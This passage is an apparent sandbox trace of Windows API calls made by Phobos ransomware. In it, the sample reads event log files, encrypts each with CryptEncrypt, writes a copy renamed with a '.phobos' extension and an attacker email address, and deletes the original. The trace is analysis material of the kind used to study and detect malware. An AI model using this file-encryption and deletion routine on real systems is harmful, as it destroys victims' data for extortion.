hFile=0x328, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.691] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.691] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.693] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcc90) returned 1 [0060.693] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.693] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0, dwBufLen=0xb0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xb0) returned 1 [0060.693] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.693] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x162, lpOverlapped=0x0) returned 1 [0060.694] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.694] CloseHandle (hObject=0x328) returned 1 [0060.694] CloseHandle (hObject=0x330) returned 1 [0060.695] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0060.697] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.697] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.697] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.697] CloseHandle (hObject=0x330) returned 1 [0060.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0060.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.698] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.698] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.698] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.698] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.704] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc610) returned 1 [0060.704] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.704] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.760] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.760] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.762] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcc90) returned 1 [0060.762] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.762] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0, dwBufLen=0xc0 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0xc0) returned 1 [0060.762] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.762] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x172, lpOverlapped=0x0) returned 1 [0060.762] CryptDestroyKey (hKey=0x10dc610) returned 1 [0060.762] CloseHandle (hObject=0x330) returned 1 [0060.762] CloseHandle (hObject=0x328) returned 1 [0060.764] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0060.765] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.765] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.766] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.766] CloseHandle (hObject=0x328) returned 1 [0060.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0060.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.766] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.766] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.766] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.766] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.767] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc710) returned 1 [0060.767] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.767] ReadFile (in: hFile=0x328, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.869] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.869] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.870] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc750) returned 1 [0060.870] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.870] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.871] CryptDestroyKey (hKey=0x10dc750) returned 1 [0060.871] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.871] CryptDestroyKey (hKey=0x10dc710) returned 1 [0060.871] CloseHandle (hObject=0x328) returned 1 [0060.871] CloseHandle (hObject=0x330) returned 1 [0060.872] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0060.874] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.874] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.874] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.874] CloseHandle (hObject=0x330) returned 1 [0060.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0060.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.874] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0060.874] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.874] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.874] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0060.875] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb90) returned 1 [0060.875] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.875] ReadFile (in: hFile=0x330, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.887] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.887] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.889] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcc50) returned 1 [0060.889] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.889] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.889] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0060.889] WriteFile (in: hFile=0x328, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.889] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.889] CloseHandle (hObject=0x330) returned 1 [0060.889] CloseHandle (hObject=0x328) returned 1 [0060.894] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0060.896] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.896] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.896] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.896] CloseHandle (hObject=0x304) returned 1 [0060.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0060.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.897] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.897] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.897] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.897] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.897] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dcb90) returned 1 [0060.897] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.897] ReadFile (in: hFile=0x304, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.921] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.921] WriteFile (in: hFile=0x334, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.922] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc710) returned 1 [0060.922] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.922] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.922] CryptDestroyKey (hKey=0x10dc710) returned 1 [0060.923] WriteFile (in: hFile=0x334, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.923] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.923] CloseHandle (hObject=0x304) returned 1 [0060.923] CloseHandle (hObject=0x334) returned 1 [0060.925] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0060.926] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.926] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.926] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0060.926] CloseHandle (hObject=0x334) returned 1 [0060.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0060.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.926] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0060.927] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.927] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0060.927] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.933] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc850) returned 1 [0060.933] CryptSetKeyParam (hKey=0x10dc850, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.933] ReadFile (in: hFile=0x334, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0060.943] CryptEncrypt (in: hKey=0x10dc850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0060.943] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0060.945] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcc90) returned 1 [0060.945] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0060.945] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80, dwBufLen=0x80 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x80) returned 1 [0060.945] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.945] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x132, lpOverlapped=0x0) returned 1 [0060.945] CryptDestroyKey (hKey=0x10dc850) returned 1 [0060.945] CloseHandle (hObject=0x334) returned 1 [0060.945] CloseHandle (hObject=0x2fc) returned 1 [0060.947] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0060.948] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0060.949] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.949] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1052672) returned 1 [0060.949] CloseHandle (hObject=0x2fc) returned 1 [0060.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0060.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.950] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.950] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, 